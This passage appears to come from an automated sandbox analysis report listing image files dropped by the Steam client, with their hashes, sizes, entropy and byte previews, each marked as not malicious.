SHA-512:	75BEAB0FFE46C9BE682675B56A97AF1F8D1AEA9FEA3F78480AC5B3D4F6554EDB47DC6F2907BB026A3B0CC10AF27F4F5A83344FB633C55E9A3BBB87DF7839EC1E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............r......tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:C69EC78FD01411E0AB759681EF71DED6" xmpMM:DocumentID="xmp.did:C69EC790D01411E0AB759681EF71DED6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C69EC78DD01411E0AB759681EF71DED6" stRef:documentID="xmp.did:C69EC78ED01411E0AB759681EF71DED6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.].^....IDATx..VMJ.@.~)S.L&.,.....[{.).)x.u...R.A.z... .,.q.C%....iB.e......o~.yo...P.q....M..~....<...\|>w.0....1.dQ..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gamepad_digital_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3145
Entropy (8bit):	7.8824162078577835
Encrypted:	false
SSDEEP:
MD5:	EC2AA50B2C468F3A0A9841D6F26C6DE1
SHA1:	A03CD329897232A1C810199250BA9CBB6C5C1587
SHA-256:	3A65410858A98850D6F0426876053D7768436C7D6953EF6F0DE1155640297E0A
SHA-512:	129AF0AA7227819DF5E9BEAA6DEE1D121B0548F71ED4C745E1082DF725EF570772511999D122B93652A20BE78601799A347CD5B64299C7641DA6867F0ECB2737
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............r......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gamepad_digital_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3092
Entropy (8bit):	7.8905678204069565
Encrypted:	false
SSDEEP:
MD5:	3A05AD07E5ECA7868160BB6316C6F2E0
SHA1:	7A1F6AE1B15577767FFCCE78622FEC56CBE28593
SHA-256:	4618CAC26F430A475B46C27C2E30EA1BF10EA2B9B0312C377552C6E86B59A3CD
SHA-512:	74C32D62D106E65CA8C39A7C20FF78D814E747CC8CD86DE0B951D8E2A63B78366D34F7979680CC24E9D1335B133AFDDAF46A2DF01AA7622CADB4EB33968878F5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............r......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gamepad_digital_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3180
Entropy (8bit):	7.879785821631121
Encrypted:	false
SSDEEP:
MD5:	F023BB518B612C9D3976E645664F043E
SHA1:	B896FA1C915D02B3D3040FADEA7C403D3055198C
SHA-256:	1C3ED2840829DB81986D0DD2481450D2DD3FF18F583A5D3EA1125BAA41885665
SHA-512:	269452F659D4F22E6071DCDA650C938DC15253E22906264A1802B69C825C672F7072F832FD4F2400A13BC1284855741E56DB559C10F112055F66D2E1ED407E3C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............r......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\generic.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 460x215, components 3
Category:	dropped
Size (bytes):	5610
Entropy (8bit):	7.573580190565656
Encrypted:	false
SSDEEP:
MD5:	54235D5469158B8FB52FBC6663DD4ABA
SHA1:	F91DAC67A662D649B5E39FB7A91A5AD41FD59782
SHA-256:	2C63C799E25DD3C6521AB5126B02E9415F3213877CAEC3782671E63E4B499CBB
SHA-512:	6DE6EAD2851030DE2C8FD466F2EE0D38D6F945113781861BECF16848658D2ACF394459B393D11CD9DF00FF5013C9795E3786C458D3672745BF3C62E9BA245534
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......B.....)http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:C2207236FD8411E48F83C68F90D0B27F" xmpMM:DocumentID="xmp.did:C2207237FD8411E48F83C68F90D0B27F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C2207234FD8411E48F83C68F90D0B27F" stRef:documentID="xmp.did:C2207235FD8411E48F83C68F90D0B27F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\generic_200.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 200 x 200, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8235
Entropy (8bit):	7.9354839019447505
Encrypted:	false
SSDEEP:
MD5:	FA0D1E55094B60ACDFFFD96CC8490775
SHA1:	715B3F65AC4A5D648FC52C5ED83690FECF9160E0
SHA-256:	19A907ECAAEEF21EF1CD18396F1C266B2376878007DF58739AF89B86E0CF07E2
SHA-512:	EF6BF8649B272626A7510F8D48A3C68442A8D7F6E661A71A42147941940294F78038B85D5219DB0A41C71F4BEBD83F3E91272B90EC3258B2FC7C6E3FD6A55686
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............":9.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:5DE77C72FD8511E4BCEBDF0B378B5CF4" xmpMM:DocumentID="xmp.did:5DE77C73FD8511E4BCEBDF0B378B5CF4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5DE77C70FD8511E4BCEBDF0B378B5CF4" stRef:documentID="xmp.did:5DE77C71FD8511E4BCEBDF0B378B5CF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>T..d....IDATx....8r.Q$..=c.'......n~$..;Kv3v....<..*..D.R...Q..%./...p \|..?.Y@9....w..oK..}..........7D.........._..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\generic_800.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 800 x 450, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	27338
Entropy (8bit):	7.9483119098892985
Encrypted:	false
SSDEEP:
MD5:	FD1A1448A9876D184353DED598D5B829
SHA1:	28AA99E5D4E32A7F53FBB80D2F82CE127A9F873E
SHA-256:	08D2412EA6EE491AB49BD7EAA1373DD8BF6CC55FA5DAFCE63E6F844FC2E6D69D
SHA-512:	C6AAFD905933E9FC3CEB21F4DDE83995D97F4CE2BE33EBCFA708C3A1885B68D6116784C71CA3BE846133186DFD59E125415F7A8D4627A48187C1D33AFF41927B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ...........:.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:40401EB9FD8511E49C35B575BC342286" xmpMM:DocumentID="xmp.did:40401EBAFD8511E49C35B575BC342286"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:40401EB7FD8511E49C35B575BC342286" stRef:documentID="xmp.did:40401EB8FD8511E49C35B575BC342286"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>'K....g@IDATx....8..K(..vU.=.3.g....l...?.8R....... E)...]v.DQ.E~.@.....o.'J.[Y.)K..CH\|.....r...R.&. ..\|.;).2..*..g

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\gifts.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3269
Entropy (8bit):	7.8857314214395995
Encrypted:	false
SSDEEP:
MD5:	AD115D7A6F99D3CD2D6F9853F40C48C6
SHA1:	307589F2F94D14BE80148B802FC30FA451934E54
SHA-256:	A8922F45AC015FA6454E92549B2AA58457984C985E6D456B7F74BC3A7C15E68F
SHA-512:	2AAEB98AA89758EAEB06213E6CDB4613DB423F707F46474833C6CDAEB4556C68786AE40B9E447A5C6772008B35269D5C277493B386B39FFE2ED6D1532A5D2E7E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\grid\grid_0.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 76 x 76, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3000
Entropy (8bit):	7.866502518740971
Encrypted:	false
SSDEEP:
MD5:	88889581421A56AEF1C7E085CB7F698E
SHA1:	932E1E3D9FBFAEF510F151DA68F820B09FF09DD4
SHA-256:	A22EB526B394F662E0DD01C4859201BEE07BDE33BC9A055D8D312A7A3ACCF0AD
SHA-512:	37485D2014E8F368697A823806FB23A0B804E377CC832A18EC2E74458311A7BDE9F7B6F2C1F0B4701A6F885466E18D18BE93F8C456C7D7A301F21BA4D819B7D5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...L...L......Q+....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\grid\grid_1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 76 x 76, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3001
Entropy (8bit):	7.862032857464107
Encrypted:	false
SSDEEP:
MD5:	2421198B31B72700015FDE80DFCFDEFA
SHA1:	6CE0887BAC63E99349CCA30BA8A38CB75510E5CA
SHA-256:	85B20B7B87368ED08DC6BFAF3196EEDC6DF79B732A366822A659A82E45243DC8
SHA-512:	EAAD488F7B4B3EDD3544EC9AB3A3AAE67DA33CC6F8D2EE782605273C9504687043A469533B146CE8D558DB03811B7E6ABA7AD2AD07A56F5248337EAD5BEA369A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...L...L......Q+....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\grid\grid_2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 76 x 76, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2996
Entropy (8bit):	7.8662116802901565
Encrypted:	false
SSDEEP:
MD5:	1EFD22D93755C612E70487A4F14A89CB
SHA1:	9E2DCB494D58ADDABE93363FB7E652A58C01AC48
SHA-256:	781CC9912ABC439899CB23AB6D6429592443E958D65DBF28A2A0996D297271C8
SHA-512:	FA5B2FC086644C75F420228F48612F5D2E61616FE3F55CDDDDC4311303B06D1D1A3E60F7AEA24E9962C62CA0E5A9CE3E1D1ACC0B539B943D6CB116A65C4B9220
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...L...L......Q+....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\grid\grid_3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 76 x 76, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3003
Entropy (8bit):	7.866340060272824
Encrypted:	false
SSDEEP:
MD5:	F3750F06E737BCAC291DEEE2C7AF33FE
SHA1:	10B7CB6DA9AD3393BA0FD07DCD354A384AA7B956
SHA-256:	8CAC91713B0FA340BDDA7583D4CC27A07265C0084C7D850959BC209CEC6303CA
SHA-512:	DEA658AD2AD74EA5071D11D3C0DE0D42AF6E5259D2EC3487B8D7DE6BA463722EDCB5A0D070E13B75A0D7311525371AE2E521464C9B4012D01A2416D1609085DF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...L...L......Q+....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\help\controller_connection_alien_help.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1024 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	116074
Entropy (8bit):	7.454824795848646
Encrypted:	false
SSDEEP:
MD5:	C7AA56B6D0A143113CDE7C06EF3FBBCA
SHA1:	9A8DD3392D6C796B9D12A396DCAFF11F19B22C61
SHA-256:	4E9628762D1035814CCAD2FCE565963E5300440633A6BCB5315B92DF29911CEE
SHA-512:	DCC64077B5C1BBA74B59C0099330FD8AE0490ACA79F4E26B65A4B49E0C5B9617AA15EE4F0B2A4E1B3635F8F04E8793EB6ACC50D4FD1B3AC22CBD2267C177E844
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............+.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\help\controller_connection_help.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1024 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	89195
Entropy (8bit):	7.205149810948721
Encrypted:	false
SSDEEP:
MD5:	EB35B0CA6F7600D93D4A2271DAD5ACBC
SHA1:	1AE77053950E7842C4F53C814437A0EADBA631E2
SHA-256:	A6470DCCADB7CF4E588E01FFC09C26E6C79C2C72EEA0F6EC26FC4C547947C264
SHA-512:	D9223275E8E5E5234B10A7CC0F0AEB8A445A6A254B15BB60130A7205E5CB2468E4C8A5E10691552C66420A14716F604902A432719EFACF3F51E386BA86847388
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............+.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\help\controller_pair_help.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 604 x 260, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	54085
Entropy (8bit):	6.861371723168597
Encrypted:	false
SSDEEP:
MD5:	F0772CDEC96DA51BF1D09F67C929C7C4
SHA1:	732E1C05CE1EF7F9B592A3A4176709A24BEA3B8B
SHA-256:	C582BD73E0D4AF0CBA11C0BB575187A59E6B981A1B158293067EF23A0A14BDAC
SHA-512:	D81C9A3EDE9745B89C72CA1D42A4206F2536067E0397B5D4D430604817960355B6767752828B9E6392FF43D802FE795208E6E50D79C6BADA9B2B1751769D8386
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\..........).....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 